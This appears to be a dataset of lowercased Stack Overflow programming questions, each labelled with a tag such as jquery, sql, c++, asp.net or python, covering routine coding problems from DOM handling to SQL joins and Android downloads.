get id from a one div to another div  here are the two divs   <pre><code>&lt;div id= 1 &gt;  &lt;span id= a1 &gt;first&lt;/span&gt; &lt;span id= a2b &gt;first&lt;/span&gt; &lt;span id= a3 &gt;first&lt;/span&gt;  &lt;/div&gt; </code></pre>   click    <pre><code>&lt;div id=2&gt;&lt;/div&gt; </code></pre>   and the jquery code to do   <pre><code>  $( #2 ).bind( click  function(){             var xx = $( #a +i).attr( id );             $( #2 ).append(xx);             i=i+1;         }); </code></pre>   it does not get all the 3 id s from #1    thanks jean,jquery
how can i cut a rectangle out of a bitmap  i want to cut a rectangle from <strong>x= 100  y = 100  width = 50   height = 50</strong> from an image. and i loaded it from the web into a <code>uiimageview</code>. first of all  is it possible to manipulate a loaded image from remote <code>url</code>  if so  what class/method is useful for this,ios
what is the convention about class method return this pointer  or in a class method  call other class  method/free function and pass this pointer as the parameter. is there any good practice for this  or it is a bad practice and i should not doing so,c++
unresolved external symbol - calling static function from other project  i have solution with two projects- <code>proj_1</code>  <code>proj_2</code>.    <code>proj_1</code> is lib project and <code>proj_2</code> is regular project    in <code>proj_2</code> i have function named <code>static void proj_2_func()</code>. im trying to call that function from <code>proj_1</code> (without creating an object) but i get linkage error- <code>unresolved external symbol</code>.   <pre><code>proj_2:  class proj_2_class {   public:    static void proj_2_func();  //the implementation is not relevant }   proj_1:  in cpp file:  #include proj_2_class.h  // i added the path to  additional include files  in proj_1  void proj_1_class::proj_1_func() {   proj_2_class::proj_2_func(); } </code></pre>   ill be happy for guidance on that error.     thanks.,c++
use of reponse.write and <asp:>  i try to use response.write to add the accessdatasource and gridview logic. but it does not work. why     i search  in google  but few explanation was found. so how to use   please    <pre><code>sub doinquiry(byval sender as object  _                       byval e as eventargs)      dim _div_1 as string =  &lt;div style= position:absolute;top:180px;left:20px;width:1800px; &gt;      dim _datasource as string =  &lt;asp:accessdatasource id=  accessdatasource1   runat=  server   datafile=  ~/app_data/northwind.mdb   selectcommand=  select * from [categories]  &gt;&lt;/asp:accessdatasource&gt;      dim _gridview_1 as string =  &lt;asp:gridview id=  gridview1   runat=  server   autogeneratecolumns=  false   datakeynames=  categoryid   datasourceid=  accessdatasource1   enablemodelvalidation=  true  &gt;      dim _gridview_2 as string =   &lt;/asp:gridview&gt;      dim _tag_col_1 as string =  &lt;columns&gt;      dim _tag_col_2 as string =  &lt;/columns&gt;      dim _field_1 as string =  &lt;asp:boundfield datafield=  categoryid   headertext=  categoryid   insertvisible=  false   readonly=  true   sortexpression=  categoryid   /&gt;      dim _field_2 as string =  &lt;asp:boundfield datafield=  categoryname   headertext=  categoryname   sortexpression=  categoryname   /&gt;      dim _field_3 as string =  &lt;asp:boundfield datafield=  description   headertext=  description   sortexpression=  description   /&gt;       dim _div_2 as string =  &lt;/div&gt;       dim combine as string = _div_1 &amp; _datasource &amp; _    _gridview_1 &amp; _tag_col_1 &amp; _     _field_1 &amp; _field_2 &amp; _field_3 &amp; _    _tag_col_2 &amp; _gridview_2 &amp; _div_2       response.write(combine)    end sub </code></pre>,asp.net
move the imageview to edittextview  in my application i want displaying the one image as half of the screen and below i am producing that image spelling   and below display that image name letters as shuffled and kid will take one image and place into into that place in above spelling.for example see following website   <blockquote>    //www.youtube.com/watch v=_lslyyu3f0k  </blockquote>   for this how can i design my layout(xml)please gice me some code suggestions.thanks in advance,android
converting string to float in c issue   so i have a c program where you type a name  age and height as command line prompts and these arguments are written to a text file  however  with the height (which is a float)  there s a problem. it writes down a value that is really high and isn t what you type in. i feel like there s a problem with the memory or something similar.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main(int argc  char *argv[]) {     if (argc != 4) {         printf( please enter four parameters );         return;     } else {         char name[20];         strcpy(name  argv[1]);         int age = atoi(argv[2]);         double height = atof(argv[3]);         file *fp;          fp = fopen( name.txt    w+ );         fprintf(fp   %s\n%d\n%.2f   name  age  height);         fclose(fp);          printf( file written! );          return 0;     } } </code></pre>   so what have i done wrong with the <code>float height</code>,c
jquery: hide or show table row based on radio button checked  couldn t adopt any examples found here  so i ll post this as new question.    i ve few table rows  one with radio button:   <pre><code>&lt;tr id= catering-types &gt;     &lt;td colspan= 2 &gt;catering option&lt;/td&gt;     &lt;td&gt;         &lt;div class= catering-radio-option &gt;         &lt;label&gt;&lt;input type= radio  name= catering_type  id= pickup-only  value= pickup-only  checked= checked &gt;         pickup only&lt;/label&gt;         &lt;/div&gt;         &lt;div class= catering-radio-option &gt;         &lt;label&gt;&lt;input type= radio  name= catering_type  id= delivered  value= delivered &gt;delivered&lt;/label&gt;         &lt;/div&gt;         &lt;div class= catering-radio-option &gt;         &lt;label&gt;&lt;input type= radio  name= catering_type  id= fully-serviced  value= fully-serviced &gt;fully serviced&lt;/label&gt;         &lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>   and row below that should be hidden or shown  based on what user checked in radio buttons. in this example  table row below only should be shown if user selects  delivered  radio button  otherwise it should be hidden.    thanks    george,jquery
check if id is referenced in anoter tables  this sql query results in a list:   <pre><code>select count(zzpricing.pricetitleid)          zzpricetitle.pricetitleid           zzpricetitle.characterid          zzpricetitle.sourceid          zzpricetitle.calculationtype          zzpricetitle.computedpricetitleind          zzpricetitle.onedayind          zzpricetitle.expression         from zzpricetitle      left join zzpricing on zzpricetitle.pricetitleid = zzpricing.pricetitleid    group by zzpricetitle.pricetitleid           zzpricetitle.characterid          zzpricetitle.sourceid          zzpricetitle.calculationtype          zzpricetitle.computedpricetitleind          zzpricetitle.onedayind          zzpricetitle.expression; </code></pre>   now i want to expand this list with a column named referenced which marks the <code>pricetitleid s</code> which have never been used from the following tables;   <ul> <li>zzextvaluationrule </li> <li>zzmarket </li> <li>zzmarketuse </li> <li>zzprice </li> <li>zztrade</li> <li>zzvaluationrule </li> <li>zzpricing</li> </ul>   values should “<strong>yes</strong>” if the <code>pricetitle</code> has been used  and “<strong>no</strong>” if it hasn’t.,sql
angularjs - not able to bind data with ngoptions  i ve used  ngoptions  in my html page for dropdown as below.   <pre><code>&lt;select id= bgroup  ng-model= formdata.bgroup  ng-options= bgroup.name for bgroup in bloodgroups &gt;&lt;br&gt;      &lt;option value=  &gt;---blood group---&lt;/option&gt; &lt;/select&gt;&lt;br&gt; </code></pre>   and this is my code in controller   <pre><code> $scope.formdata = {}; $scope.bgroups = [     {name: a +ve }      {name: a -ve }      {name: b +ve }      {name: b -ve }      {name: ab +ve }      {name: ab -ve }      {name: o +ve }      {name: o -ve } ]; </code></pre>   i am not able to bind the blood group. except blood group every other is getting inserted into database. i am not getting where i went wrong. could anyone help me.,angularjs
underline a link  i have a link in an html <code>&lt;a&gt;</code> tag.  i want to underline this link.   <pre><code>&lt;a href= #  &gt; invalid &lt;/a&gt; </code></pre>   how can i do this,css
simple sql query for inserting data in database  i am working on the transaction with databases.      i want to write a sql query which will insert only those numbers which are starting from 101.     <pre><code>sql =  insert into tablex (data) where values (101123) ; sql =  insert into tablex (data) where values (10100) ;   sql =  insert into tablex (data) where values (101125) ;   </code></pre>   all inserts should happnd with values which starts with 101 only.<br> it should not enter other values like :    <pre><code>sql =  insert into tablex (data) where values (105232) ; </code></pre>   the numbers 101123  10100  101123  105232 comes from a text file with some program. i want to only insert those numbers which starts with 101 in table.,sql
looking for a bindinglist.abouttoremove event  when an item is added to the bindinglist  the listchange event lets me know so i can react accordingly.    however  when an item is <strong><em>removed</em></strong> from the list  the listchange event comes too late  as the item is no longer <strong><em>in</em></strong> the list. how can you catch the removal <strong><em>before</em></strong> it has been removed     i need to identify the object so i can remove an event handler that has been attached to it.,.net
single row/single colums query (mysql)  i have this table : <a href= http://i.stack.imgur.com/p2vfx.jpg  rel= nofollow >datatable</a> i would like to write a single query to update whole 99 by below number so for each 99 will be replaced by number bellow  for each blank name  the name below. normally  this query must be simple.  but i try a lot of query and read a lot of solutions on the web  but noone are a good solution for me. thanks in advance for your help.,mysql
how to split csv whose columns may contain   single quotes and double quotes <pre><code>favorite  1 given  2 1016 7/31/2008 14:22  geoff dalgas  6/5/2011 22:21 http://stackoverflow.com  corvallis  or  7679 351 81 b437f461b3fd27387c5d8ab47a293d35 34 </code></pre>   expected output is   <pre><code>2 1016 7/31/2008 14:22 geoff dalgas 6/5/2011 22:21 http://stackoverflow.com corvallis  or 7679 351 81 b437f461b3fd27387c5d8ab47a293d35 34 </code></pre>,.net
sorting first 20 highest values from a raw log file  from the log file present  i could able to sort out only the highest response time (r.t)  but i need to get first 20 highest values from it.    the log file which i am having has millions of line with different r.t( response time) in it.    <strong>log file format</strong>    example:   <pre><code>00.00.00.000 - - [dd/mm/yyyy:hr:mm:se +0800] get url http/1.1 200 dataconsumed (r.t) mainurl xxx/0.0 (x xxx 0.0; xx00) xx/00.00 (xx  xx xxx) /00.0.0000. xx/000.00 00.00.00.000 - - [dd/mm/yyyy:hr:mm:se +0800] get url http/1.1 200 dataconsumed (r.t) mainurl xxx/0.0 (x xxx 0.0; xx00) xx/00.00 (xx  xx xxx) /00.0.0000. xx/000.00 00.00.00.000 - - [dd/mm/yyyy:hr:mm:se +0800] get url http/1.1 200 dataconsumed (r.t) mainurl xxx/0.0 (x xxx 0.0; xx00) xx/00.00 (xx  xx xxx) /00.0.0000. xx/000.00 00.00.00.000 - - [dd/mm/yyyy:hr:mm:se +0800] get url http/1.1 200 dataconsumed (r.t) mainurl xxx/0.0 (x xxx 0.0; xx00) xx/00.00 (xx  xx xxx) /00.0.0000. xx/000.00 00.00.00.000 - - [dd/mm/yyyy:hr:mm:se +0800] get url http/1.1 200 dataconsumed (r.t) mainurl xxx/0.0 (x xxx 0.0; xx00) xx/00.00 (xx  xx xxx) /00.0.0000. xx/000.00 </code></pre>   <strong>code 1:</strong>   <pre><code>with open(r file.txt   r ) as f: data = f.readlines() # sort the data by response time descending using lambda as key sorted_data = sorted(data                   key=lambda row: row.split()[10]                   reverse=true) </code></pre>   <strong>output:(the log file which has high r.t)</strong>   <pre><code>00.00.00.000 - - [dd/mm/yyyy:hr:mm:se +0800] get url http/1.1 200 dataconsumed (r.t) mainurl xxx/0.0 (x xxx 0.0; xx00) xx/00.00 (xx  xx xxx) /00.0.0000. xx/000.00 </code></pre>   <strong>code 2</strong>   <pre><code>file = open(r file.txt   r ) rts = [] for line in file: line_array = line.split(   ) rts.append(float(line_array[10])) max_rt = max(rts) print  max r.t is :   max_rt file.close() </code></pre>   <strong>output: highest r.t</strong>    max r.t is: r.t    help me!!!    to find the 20 highest values from the log file.,python
share xml to allowed ip s asp.net  there is a periodically updating xml file in a directory at windows hosting. the xml file is containing prices and stocks information and using by the other e-commerce web sites. i want to allow this file only to requests from specified ip s. i tried to handle  application_beginrequest  event at global.asax but this event is firing only for aspx files not for the xml files. how can i do that,asp.net
angular  wait until the digest cycle completes before returning from function   i would like to highlight a field in red if the user tries to submit the form while the field is empty. so i set a <code>showerrors</code> boolean to true on submit  and conditionally require my field based on this value <code>ng-required= showerrors </code>.     i define a <code>isvalid</code> function which triggers a digest cycle to allow the <code>showerrors</code> value to propagate  but the function is not behaving as i would like. with the field empty  the first time the submit button is clicked <code>isvalid</code> returns true and then <code>false</code> on subsequent clicks  but i would like it to always return <code>false</code> if the field is empty.    how can i force my <code>isvalid</code> function to wait for the digest cycle to propagate prior to returning validity     <a href= https://plnkr.co/edit/wh6hfawquhjwr69aupri  rel= nofollow noreferrer >https://plnkr.co/edit/wh6hfawquhjwr69aupri</a>,angularjs
gridview header that contains a div  is it possible to put a div inside a header cell     thanks.,asp.net
triggering segues from inside function with parameters  i have the following code and i am trying to trigger a segue transition if condition of if-statement is valid. i would also like to pass 3 variables values (fullname  year  country) along to next view. the below action is triggered when button is clicked. please advice on how to do this:   <pre><code>-(ibaction)checkinputandproceed:(id)sender{     nsstring *fullname = [self.fullnametextfield.text stringbytrimmingcharactersinset:[nscharacterset whitespacecharacterset]];      nsstring *year = [self.yeartextfield.text stringbytrimmingcharactersinset:[nscharacterset whitespacecharacterset]];      nsstring *country = [self.countriestextfield.text stringbytrimmingcharactersinset:[nscharacterset whitespacecharacterset]];      if(fullname.length == 0) {       self.fullnameerror.text = @ please fill your name ;     }else{       self.fullnameerror.text = @  ;     }      if(year.length == 0) {       self.yearerror.text = @ please fill your birth year ;     }else{         self.yearerror.text = @  ;     }      if(country.length == 0) {      self.countryerror.text = @ please select your country ;     }else{         self.countryerror.text = @  ;     }      if((country.length != 0 &amp;&amp; year.length != 0 &amp;&amp; fullname.length != 0))     {         //proceed to next view with data stored transferred via segue.      }  } </code></pre>,ios
count list of items that contain a list of the same items  let s say i have a class that contains a list with any number of items. within each of those lists it can contain a list of that same class of lists. also it contains another list of another class. i want to count the number of that last type of list overall. ok that wasn t clear. i ll provide the skeleton code:   <pre><code>public class a {     public list&lt;b&gt; bs{ get; set; }      public int countcs()     {      } }  public class b {     public list&lt;b&gt; bs{ get; set; }     public list&lt;c&gt; cs{ get; set; } }  public class c {  } </code></pre>   i want to write the countcs function so that i get the total count of cs through the whole instance of a. i ve played around with recursive functions and whatnot but now my brain has imploded. any ideas,c#
save all php error_reporting s notices into a file  i would like to save all error_reporting s notices into a file so that it can be read easily.     i m using cli to run my php script. the notices are outputs all at once  and as you already know  the console s scroll-bar position just can be moved to the topmost place for me to read notices there.,php
how to reset a deck of cards   i am trying to make a game with a deck of cards. currently  i only have one class with a linkedlist of cards that i added individually with the add method. i have the rest of my game coded except for at a certain point  i want to reset the deck of cards back to a full set like when the program first started executing. how would i go about doing this in the easiest way  i would like to keep it in a linkedlist structure because i can use the built in shuffle method  etc...   <pre><code>public static void main(string[] args) { linkedlist&lt;string&gt; deck = new linkedlist&lt;string&gt;(); deck.add( 2c ); deck.add( 3c ); deck.add( 4c ); deck.add( 5c );     ... //etc collections.shuffle(deck); system.out.println( shuffled deck: \n  + deck); </code></pre>   (i want to reset  deck  back to the initial state after altering the deck (remove  deal  etc),java
sql grouping by all the columns  is there any way to group by all the columns of a table without specifying the column names   like:   <pre><code>select * from table group by * </code></pre>,sql
app crash when i press button with popviewcontroller  i ve a problem. my uiviewcontroller has button (in navigationar) with popviewcontroller.  when i press this button without scrolling down  everything is ok. but  when i scroll down my scrollview (700px) and click on button  app crash.    xcode show me this error: (lldb) and exc_bad_access (code=exc_l386_gpflt) - nothing more.    can you help me please,ios
multipartformdatastreamprovider cleanup  if files are posted to my webapp  then i read them via <code>multipartformdatastreamprovider.filedata</code>.    i initialize the provider like this:    <pre><code>string root = httpcontext.current.server.mappath( ~/app_data ); var provider = new multipartformdatastreamprovider(root); </code></pre>   and the provider nicely stores them as  ~app_data/bodypart_{someguid}  but how do i clean up those files after i m done with them,asp.net
accessing object used in some() function in javascript  i wrote this function to combine duplicate objects and add their quantities.    i m having issues making the quantities add.   <pre><code>function removeduplicates (input){    var new_array = [];    input.foreach(function(unmerged){       if(new_array.some(item =&gt; item.model === unmerged.model)){           item.quantity += unmerged.quantity; ////this throws error       } else {           new_array.push(unmerged);       }   });    return new_array; }; </code></pre>   i assume that  item  is only created and used inside the some() function and no longer accessible. how can i fix this function such that i can edit its properties     ex:    before function:   <pre><code>var product_array = [     {model:1  quantity:3}      {model:1  quantity:2}      {model:2  quantity:1} ]; </code></pre>   after function:   <pre><code>var product_array = [     {model:1  quantity:5}      {model:2  quantity:1} ] </code></pre>,javascript
trigger an up or down arrow key event through javascript  there is some event listener in thunderbird which resolves the emails address from my ldap server when i press the up or down arrow key. so i want to trigger that the same event through javascript without having to physically press the up or down arrow key. how can i do this,javascript
how do i return only rows where all conditions are met based on an array of intergers (ids)   from a page - mybarcabinet - i can select what raw materials i have available. these raw materials (only the id s) is put into an array and stored in a cookie.      now; my goal is to only get the drinks that do not require any more/other raw materials than what is stored in the cookie. in other words; if i ve checked that i only have  16    34  and  35  available: only the drinks that only require these raw materials should show up  and not those drinks that consists of these in addition to other raw materials..    i query drinks  and all that  from a mysql database. this part is build up of three tables: <code>drinks_recipes</code>  <code>drink_recipes_ingredients</code> and <code>raw_materials</code>.<br> the <code>drink_recipes_ingredients</code>-table is used to  link  the drink recipes with the raw materials.    if i do:   <pre><code>select      dr.id drink_id  dr.name drink_name      rm.name ingredient_name from drink_recipes_ingredients dri     join drink_recipes dr on dr.id = dri.fk_recipes_id     join raw_materials rm on rm.id = dri.fk_raw_materials_id where rm.id in (16 34 35) </code></pre>   this does exactly what i don t want. i m getting all drinks that contains at least one of the selected raw materials.    i did have a look at this post: <a href= https://stackoverflow.com/questions/16447836/how-to-return-a-row-only-if-multiple-clauses-are-met >how to return a row only if multiple clauses are met</a>  but i couldn t figure out how to do something similar in my case. but the goal looks like to be the same.,mysql
using jquery mousemove and settimeout and cleartimeout to reveal/hide a menu  i pasted some code below of what seems to be a common approach to reveal a menu on mousemove. it seems that as the mouse continues to move  the duration of the timeout increases. what s up with that  is there a reason why the cleartimeout would not be working    <pre><code>var timer;     $(document).mousemove(function() {         if (timer) {             cleartimeout(timer);             timer = 0;         }          $( .navi a  a.left  a.right ).animate({top: 0px }  fast );         timer = settimeout(function() {            $( .navi a  a.left  a.right ).animate({top: 50px }  fast );         }  1000)     }); </code></pre>,jquery
need help to convert formula into c#  i got this formula     <blockquote>    r/rs = (5800/9500)<sup>2</sup>(2.512<sup>3.37</sup>)<sup>1/2</sup> = 1.76  </blockquote>   how do i turn that into c# so that the value is 1.76.  don t understand what you do with the 2 and 1/2     formula is from <a href= http://skyserver.sdss.org/dr5/en/proj/advanced/hr/radius1.asp  rel= nofollow >http://skyserver.sdss.org/dr5/en/proj/advanced/hr/radius1.asp</a>,c#
how can i compare two arrays of objects and change a value for those that are found in both arrays   let s say i have two arrays of objects:   <pre><code>let array1 = [           {            id: 1             name:  snow            }            {            id: 4             name:  jo            }            {            id: 8             name:  bran            }            {            id: 12             name:  gondo            }            {            id: 13             name:  peter            }         ]  let array2 = [       {        id: 3         name:  brim        }        {        id: 4         name:  not-jo        }        {        id: 8         name:  not-bran        }        {        id: 13         name:  spleen        }     ] </code></pre>   i want to find all the objects in array2 that match by id with array1  and change their name values to match the name values in array1.    in my pseudocode:   <pre><code>array1.foreach((person)=&gt; {  if(person.id is equal to person.id in array2){    person.name = person.name in array1  } }) </code></pre>,javascript
div end 100px before footer  i have div= wrapper  and footer. i add content to wrapper  and if content reach too much its going over footer. i need to stop this wrapper when reaching 100px to end of view at bottom  before touch footer. when content stretch this wrapper it should apper scroll-bar.,css
using variable value in other variable  i have a variable such as:   <pre><code>x =  hello  </code></pre>   i want to access a dic using the following string   <pre><code>self.dname.x[0] </code></pre>   which inherenlty should mean   <pre><code>self.dname.hello[0] </code></pre>   what is the proper way to do this in python   what is the proper term for this type of variable,python
angularjs - how to put double quotes around a variable passed from a form  i am an angularjs leaner. please how do i put double quotes around a variable passed from a form in angularjs. i am trying to compose a json string which is sent to an ro server using $resource:   <pre><code>    app.controller( vandeletectrl   [ $scope   $resource    vansfactory    vandeletefactory    $location                                       function ($scope  $resource vansfactory  vandeletefactory  $location) {          // callback for ng-click  deletevan :                                                                        $scope.deletecard=function(vannumber) {              var vannoobject=             {                        cardnumber  : {                          value  : &lt;&lt;the vannumber param should be here in double quotes&gt;&gt; e.g.  value : 12344444                         }             };                    vandeletefactory.save(vannoobject);           }        }]); </code></pre>,angularjs
c# declaring variables using var vs type  i was watching a youtube video on how to write cleaner code. the creator showed an example where instead of writing: <code>sqlcommand command = new sqlcommand(query  connection);</code> it is much cleaner to write: <code>var command = new sqlcommand(query  connection);</code>    now i m curious: is there any performance differences with using var  is this a good way to write clean code (should i start using var ),c#
calling webservice from windows service  i have a windows service project that references an asp.net webservice.  when i run this service locally on my machine via vs it works fine and when i call the web method i get the results i want.    today i deployed this to a test server and when i call the web method it fails because the it is trying to connect to the local host webservice and not the one on the server.  the error i get is  unable to connect to remote server -->  system.net.sockets.socketexception: no connection could be made because the target machine actively refused it: 127.0.0.1     my service has a app.config file and the web service settings are correctly pointing at the webservice url.  i know the url is correct as when i put it into ie it resolves to the webservice.  also the properties of the webservices are correct.    any suggestions on how the service is getting hold of localhost would be greatly appreciated.,asp.net
python memory profiler results different from expected  i am trying to get an understanding of using memory_profiler on my python app. referring to the <a href= https://pypi.python.org/pypi/memory_profiler  rel= nofollow noreferrer >python memory profile guide</a> i copied the following code snippet :-   <pre><code>from memory_profiler import profile  @profile def my_func(): a = [1] * (10 ** 6) b = [2] * (2 * 10 ** 7) del b return a </code></pre>   the expected result according to the link is :-   <pre><code>line #    mem usage  increment   line contents ==============================================  3                           @profile  4      5.97 mb    0.00 mb   def my_func():  5     13.61 mb    7.64 mb       a = [1] * (10 ** 6)  6    166.20 mb  152.59 mb       b = [2] * (2 * 10 ** 7)  7     13.61 mb -152.59 mb       del b  8     13.61 mb    0.00 mb       return a </code></pre>   but when i ran my it on my vm running ubuntu 16.04 i got the following results instead :-   <pre><code>line #    mem usage    increment   line contents ================================================  3     35.4 mib     35.4 mib   @profile  4                             def my_func():  5     43.0 mib      7.7 mib       a = [1] * (10 ** 6)  6    195.7 mib    152.6 mib       b = [2] * (2 * 10 ** 7)  7     43.1 mib   -152.5 mib       del b  8     43.1 mib      0.0 mib       return a </code></pre>   there seems to be a huge overhead of around 30mib difference between the expected and my run. i am trying to get an understanding of where this comes from and if i am doing anything incorrect. should i be worried about it     please advice if anyone have any idea. thanks    edit:     o/s : ubuntu 16.06.4 (xenial) running inside a vm     python : python 3.6.4 :: anaconda  inc.,python
variables inside protocols in objective-c  why is there a provision to include a variable inside a protocol declaration  when is this ever used.   <pre><code>@protocol sampprotocol int i; - (void)func; @end </code></pre>,objective-c
php preg_match issue  with following php preg_match i m trying to show a error message if someone input any value except a-z or  0-9 in a textarea form. just only user can type string and numerice value. not   &lt;   >any php  javascript tag etc.   <pre><code>if(preg_match( /^[a-za-z0-9]+/    $wall) != 1) $err[] =  wrong value ; </code></pre>   so  if  i put <strong>php tag</strong> to the begning of the form then it s show error message but if i put  some text then type <strong>php tag</strong> and  another value  then it s doesn t show any error message.    sorry my bad english.:(,php
having two form tags with two actions on single page  i am having two form tags on single page and they both are redirected to different url.    <pre><code> button =  &lt;form id= frm1  action= https://www.ccavenue.com/shopzone/cc_details.jsp  method=post&gt;  +                          &lt;input type= image  src= ../images/btn_paynow.gif  border= 0  name= submit &gt;  + &lt;/form&gt;   button =  &lt;form id= frm2  action= https://secure.payu.in/_payment  method=post&gt;  +                              &lt;input type= image  src= ../images/btn_paynow.gif  border= 0  name= submit &gt;  + &lt;/form&gt; </code></pre>   please help me to handle it. it is not at all redirecting to proper page. i tried code on: <a href= http://www.codeproject.com/articles/664/specifying-multiple-actions-from-a-single-form  rel= nofollow >http://www.codeproject.com/articles/664/specifying-multiple-actions-from-a-single-form</a> but it is not working.,asp.net
issue in download file  i have develop applicatin in which i need to download file from url and i have tried following code but i got 0 byte when i shown detail.     <strong>code::</strong>    <pre><code>package com.playmusic;  import java.io.file; import java.io.fileoutputstream; import java.io.ioexception; import java.io.inputstream; import java.net.httpurlconnection; import java.net.url;  import android.app.activity; import android.os.bundle; import android.os.environment; import android.util.log;   public class playmusic extends activity {   private static string filename =  shanesh.mp3 ;   @override  public void oncreate(bundle savedinstancestate)   {     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);      try {         url url = new url( url );         httpurlconnection c = (httpurlconnection) url.openconnection();         c.setrequestmethod( get );         c.setdooutput(true);         c.connect();          string path = environment.getexternalstoragedirectory()                 +  /download/ ;         log.v( log_tag    path:   + path);         file file = new file(path);         file.mkdirs();         file outputfile = new file(file  filename);         fileoutputstream fos = new fileoutputstream(outputfile);          inputstream is = c.getinputstream();          byte[] buffer = new byte[1024];         int len1 = 0;         while ((len1 = is.read(buffer)) != -1) {             fos.write(buffer  0  len1);         }         fos.close();         is.close();     } catch (ioexception e) {         log.d( log_tag    error:   + e);     }     log.v( log_tag    check:  ); } } </code></pre>   <strong>manifest :</strong>    <pre><code>&lt;uses-permission android:name= android.permission.internet &gt;&lt;/uses-permission&gt; &lt;uses-permission android:name= android.permission.write_external_storage &gt;&lt;/uses-permission&gt; &lt;uses-permission android:name= android.permission.access_network_state &gt;&lt;/uses-permission&gt; &lt;uses-permission android:name= android.permission.read_phone_state &gt;&lt;/uses-permission&gt; </code></pre>,android
how could i retrive all available themes name programmatically  i want to retrieve all theme names programmatically.,asp.net
sectionidentifier for custom section titles group by month or year only  i wonder if anyone could help me. i am trying to group the date records by month or year only and not by day. i appreciate your help.     `(nsstring *)tableview:(uitableview *)tableview titleforheaderinsection:   (nsinteger)section {   <pre><code> id thesection = [[self.fetchedresultscontroller sections] objectatindex:section]; </code></pre>   /* section information derives from an event s sectionidentifier  which is a string representing the number (year * 1000) + month. to display the section title  convert the year and month components to a string representation. */   <pre><code>     static nsdateformatter *formatter = nil;       if (!formatter) { formatter = [[nsdateformatter alloc] init];  [formatter setcalendar:[nscalendar currentcalendar]];      nsstring *formattemplate = [nsdateformatter dateformatfromtemplate:@ mmm yyyy  options:0 locale:[nslocale currentlocale]];     [formatter setdateformat:formattemplate];     }       nsinteger numericsection = [[thesection name] integervalue];     nsinteger year = numericsection / 10000;     nsinteger month = (numericsection - (year * 10000))/100;    nsinteger day = (numericsection - (year * 10000 + month * 100));       nsdatecomponents *datecomponents = [[nsdatecomponents alloc] init];     datecomponents.year = year;     datecomponents.month = month;     datecomponents.day = day;     nsdate *date = [[nscalendar currentcalendar]           datefromcomponents:datecomponents];      nsstring *titlestring = [formatter stringfromdate:date];      return titlestring;     }` </code></pre>,objective-c
structure member assignment causing syntax error when not inside a function  i want to assign a particular value to a (user defined) global variable in c programming language. when i am doing this from within any other function or main it is fine. but when i am doing it from global space (outside of any function) it is giving the following compilation error:   <pre><code>[expected ‘=’  ‘ ’  ‘;’  ‘asm’ or ‘__attribute__’ before ‘.’ token] </code></pre>   following is a code snippet which causing issue:   <pre><code>#include &lt;stdio.h&gt; #define max_size 5  typedef struct {     int val[max_size];     int top; }stack_t;  stack_t s; s.top = -1;  // &lt;== initialization from here is causing compilation error  main() {     //s.top = -1; &lt; === initialization from here is fine       printf( s.top =%d\n   s.top);     return 0; } </code></pre>   but same kind of assignment for integer variables is not giving only warning   <pre><code>#include &lt;stdio.h&gt;  int i j k l; k=10; main() {         printf( i= %d  j=%d k=%d l=%d\n   i  j  k  l);         return 0; } </code></pre>   can anyone please tell the reason for this,c
connection that was expected to be kept alive was closed by the server in asp.net  when i try to redirect to next page  i get the following error    <strong>note:</strong> <code>even the connection is open and it is fine.</code>   <blockquote>    the underlying connection was closed: a connection that was expected to be kept alive was closed by the server.   description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.        exception details: <code>system.net.webexception</code>: the underlying connection was closed: a connection that was expected to be kept alive was closed by the server.  </blockquote>   <strong>source error:</strong>   <blockquote>    an unhandled exception was generated during the execution of the current web request. information regarding the origin and location of the exception can be identified using the exception stack trace below.  </blockquote>   <strong>stack trace</strong>:   <pre><code>[webexception: the underlying connection was closed: a connection that was expected to be kept alive was closed by the server.]   effrtpartsigndone.page_load(object sender  eventargs e) +8196   system.web.util.callihelper.eventargfunctioncaller(intptr fp  object o  object t  eventargs e) +14   system.web.util.callieventhandlerdelegateproxy.callback(object sender  eventargs e) +35   system.web.ui.control.onload(eventargs e) +91   system.web.ui.control.loadrecursive() +74   system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint  boolean includestagesafterasyncpoint) +2207 </code></pre>   version information: microsoft .net framework version:4.0.30319;     asp.net version:4.0.30319.272,asp.net
how to update table a with data from table b   i am trying to update table a with two data values from table b. i thought i could do something like:   <pre><code>update a set a.data1= b.data1  a.data2= b.data2 from table1 a  table2 b where a.id = b.id; </code></pre>   what is the correct syntax,sql
how to make code work - usaco training first task  i m having trouble with the first problem on the usaco training page.    the task is asking for two strings from a text.in file  converting the strings into a number that is the product of the letters (where a=1  b=2  z=26)  then seeing if the remainders of the numbers/47 are equal to each other (if they are  print  go   if not  print  stay ).    it works great on my computer  but when i send it in  it displays:   <pre><code>&gt; run 1: execution error: your program exited with exit status `1 .       ------ data for run 1 [length=14 bytes] ------     cometq      hvngat      ----------------------------        your program printed data to stderr.  here is the data:       -------------------       exception_in_thread_ main _java.lang.noclassdeffounderror:_ride       caused_by:_java.lang.classnotfoundexception:_ride         at_java.net.urlclassloader$1.run(urlclassloader.java:200)         at_java.security.accesscontroller.doprivileged(native_method)         at_java.net.urlclassloader.findclass(urlclassloader.java:188)         at_java.lang.classloader.loadclass(classloader.java:303)         at_sun.misc.launcher$appclassloader.loadclass(launcher.java:301)         at_java.lang.classloader.loadclass(classloader.java:248)         at_java.lang.classloader.loadclassinternal(classloader.java:316)       could_not_find_the_main_class:_ride.__program_will_exit.       ------------------- </code></pre>   now this is my code:   <pre><code>/*   id:swagato1   lang:java   prog:ride  */ import java.io.*; class ride{     public void calculate() throws ioexception{        bufferedreader in=new bufferedreader(new filereader( ride.in ));        printwriter out=new printwriter(new bufferedwriter(new filewriter( ride.out )));        string c=in.readline();        string g=in.readline();     int a=1 b=1;     for(int i=0;i&lt;c.length();i++)         a*=((int)c.charat(i))-64;     for(int i=0;i&lt;g.length();i++)         b*=((int)g.charat(i))-64;     if ((a%47)==(b%47))         out.println( go );     else         out.println( stay );     out.close();     system.exit(0); } public static void main(string args[]){     try{new ride().calculate();}     catch(exception e){     } }         } </code></pre>,java
